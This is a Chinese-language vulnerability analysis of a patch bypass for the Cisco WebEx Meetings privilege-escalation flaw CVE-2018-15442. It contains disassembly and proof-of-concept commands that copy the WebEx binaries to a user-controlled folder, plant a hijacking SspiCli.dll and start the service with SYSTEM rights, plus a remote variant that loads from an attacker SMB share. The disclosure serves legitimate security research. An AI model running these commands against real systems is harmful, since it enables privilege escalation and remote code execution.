Cisco Webex Meetings桌面應用特權提升漏洞分析
概述
前一段時間,Ron Bowes在Cisco WebEx Meetings桌面版應用程序中發現了一個漏洞,該漏洞可能允許本地許可權提升,或者在攻擊者擁有一個用戶許可權的情況下,可以使用psexec以SYSTEM身份獲取遠程代碼。該研究人員將該漏洞命名為WebExec,並且還為該漏洞設計了一個網站。
通過重新分析和嘗試利用CVE-2018-15442漏洞,我們發現了原始漏洞的繞過方法。由於原始漏洞和這一繞過方法非常類似,因此Cisco決定不再發布新的CVE,我們同意這一選擇。從技術上看,它是一個遠程代碼執行漏洞,分析觸發這一漏洞的方式比介紹如何在本地進行漏洞利用要更有意義。
在WebEx的官網上,解釋了WebEx的功能,可以快速總結為:
……通過WebEx Meetings,可以輕鬆加入會議,提供清晰的音頻和視頻,並具有更加簡便的屏幕共享方式。我們幫助您忘記技術,只專註於重要的事情……
但是,Cisco還應該注意所使用技術的安全性。
在閱讀了Ron的博客文章後,我們了解到,底層問題是WebExService使用了由用戶控制的二進位文件,並將其以SYSTEM許可權執行。我認為,沒有比這更能簡單利用的漏洞了。
重新分析漏洞
根據Ron的分享,在漏洞修復後,WebEx將會檢查可執行文件是否經過WebEx的簽名。
修復後的WebEx仍然允許遠程用戶連接到進程,並且啟動進程。但是,如果進程檢測到它運行了未經WebEx簽名的可執行文件,那麼執行將會停止。但是,他們並沒有給出主機是否易受攻擊的信息。
我們首先檢查補丁狀態,在從Cisco的CDN安裝最新版本後,確認已經沒有可用的更新:
接下來,我們對存儲在C:Program FilesWebexWebexApplicationsWebExService.exe的二進位文件進行分析,可以找到一些值得關注的地方。我注意到的第一件事,就是代碼只會查找一個參數類型,就是軟體更新。
.text:00402DC4 loc_402DC4: ; CODE XREF: sub_402D80+1C
.text:00402DC4 push offset aSoftwareUpdate ; "software-update"
.text:00402DC9 push dword ptr [esi+8] ; lpString1
.text:00402DCC call ds:lstrcmpiW
.text:00402DD2 test eax, eax
.text:00402DD4 jnz loc_402E66
.text:00402DDA push 208h ; Size
.text:00402DDF push eax ; Val
.text:00402DE0 lea eax, [ebp+Dst]
.text:00402DE6 push eax ; Dst
.text:00402DE7 call memset
.text:00402DEC add esp, 0Ch
.text:00402DEF lea eax, [ebp+Dst]
.text:00402DF5 push offset pszFile ; "ptupdate.exe"
.text:00402DFA push dword ptr [esi+10h] ; pszDir
.text:00402DFD push eax ; pszDest
.text:00402DFE call ds:PathCombineW
.text:00402E04 sub esp, 18h
.text:00402E07 lea eax, [ebp+Dst]
.text:00402E0D mov ecx, esp ; Dst
.text:00402E0F mov [esi+10h], eax
.text:00402E12 push eax ; Src
.text:00402E13 call sub_402EB0
.text:00402E18 call sub_402310 ; signature check on ptupdate.exe
.text:00402E1D add esp, 18h
.text:00402E20 test eax, eax
.text:00402E22 jz short loc_402E46 ; jump if we don"t pass the check!
.text:00402E24 lea eax, [ebp+var_214]
.text:00402E2A mov [ebp+var_214], 0
.text:00402E34 push eax
.text:00402E35 push ecx
.text:00402E36 lea ecx, [edi-3]
.text:00402E39 lea edx, [esi+0Ch]
.text:00402E3C call sub_402960 ; execute "ptupdate.exe" as winlogon.exe
隨後,代碼將使用命令行中提供的參數ptupdate.exe去執行PathCombineW調用。這就是我停止逆向分析的地方,我甚至懶得去逆向簽名檢查函數以及模擬和執行的函數,因為我已經有了一個攻擊的計劃。
漏洞利用
所以,我們需要做的就是將C:Program FilesWebexWebexApplications*(包括ptUpdate.exe二進位文件)複製到方可或本地用戶所擁有的、被用戶控制的文件夾中(可以是沙箱中的目錄),並找到DLL注入漏洞,或者通過刪除一個DLL來強制實現。
在這時,我們並不希望應用程序的正常功能受到影響,因此我們要尋找一個不會影響應用狀態的DLL,進行DLL注入。為實現這一點,我運行了我的概念證明:
mkdir %cd%\si
copy C:\PROGRA~1\Webex\Webex\Applications\* %cd%\si\*sc start webexservice a software-update 1 %cd%\si
事實證明,SspiCli.dll看起來像一個不錯的目標。
當然,我們可以只是交叉引用43個LoadLibraryW調用,並利用其中一個。然而,我的概念證明利用需要4個命令,而不是3個。
mkdir %cd%\si
copy C:\PROGRA~1\Webex\Webex\Applications\* %cd%\si\*
copy SspiCli.dll %cd%\si
sc start webexservice a software-update 1 %cd%\si
如上所述,我們可以利用該技術實現遠程代碼執行,但不管怎樣都要事先經過身份驗證。
sc \victim start webexservice a software-update 1
\attackersharesi
總結
無論何時,只要能控制一個由高許可權服務執行的文件操作路徑,理論上就能夠實現攻擊。這一漏洞非常簡單,也非常強大,因為它可以通過SMB從遠程觸發,同時存在一個對攻擊者來說非常完美的沙箱逃逸漏洞。我相信,這一邏輯缺陷在以後會成為一個嚴重的漏洞,因為它們可以實現99%的操作系統級別緩解。
令人難以置信的是,Cisco居然無法在第一時間修復這一問題。他們所需要做的,只有調整為使用C:Program FilesWebexWebexApplications目錄的固定路徑,同時刪除用戶控制的輸入。發現該漏洞後,我將該漏洞重新命名為「WebExec重新載入漏洞」,其含義是:這個漏洞讓攻擊者再一次能夠載入任意DLL。
最後,要感謝iDefense在漏洞通知和處置過程中的協調工作。
參考文章
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181024-webex-injection
https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
TAG:嘶吼RoarTalk |